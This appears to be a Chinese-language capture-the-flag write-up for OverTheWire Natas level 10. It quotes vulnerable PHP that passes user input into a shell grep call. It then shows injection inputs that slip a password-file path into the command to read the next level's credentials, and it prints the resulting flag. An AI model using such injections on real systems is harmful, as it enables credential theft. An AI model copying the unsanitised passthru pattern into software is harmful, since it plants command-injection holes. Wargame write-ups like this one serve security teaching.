Natas10 Writeup(正则表达式、grep命令)

Natas10:

页面与上一关类似,只是增加了提示“出于安全原因,我们现在过滤某些字符”。

查看源码,发现关键代码如下:

$key = "";

if(array_key_exists("needle", $_REQUEST)) {
    $key = $_REQUEST["needle"];
}

if($key != "") {
    if(preg_match('/[;|&]/',$key)) {	//过滤特殊字符
        print "Input contains an illegal character!";
    } else {
        passthru("grep -i $key dictionary.txt");
    }
}

这题和上题类似,但使用了正则过滤,过滤掉了特殊字符;|&,使我们无法截断shell命令。

但可以利用grep命令匹配密码来实现,grep支持正则,输入 [a-zA-Z] /etc/natas_webpass/natas11 #,即可得到flag。
(或者构造如下:. /etc/natas_webpass/natas11 #)

flag:U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK

 
原文地址:https://www.cnblogs.com/zhengna/p/12370095.html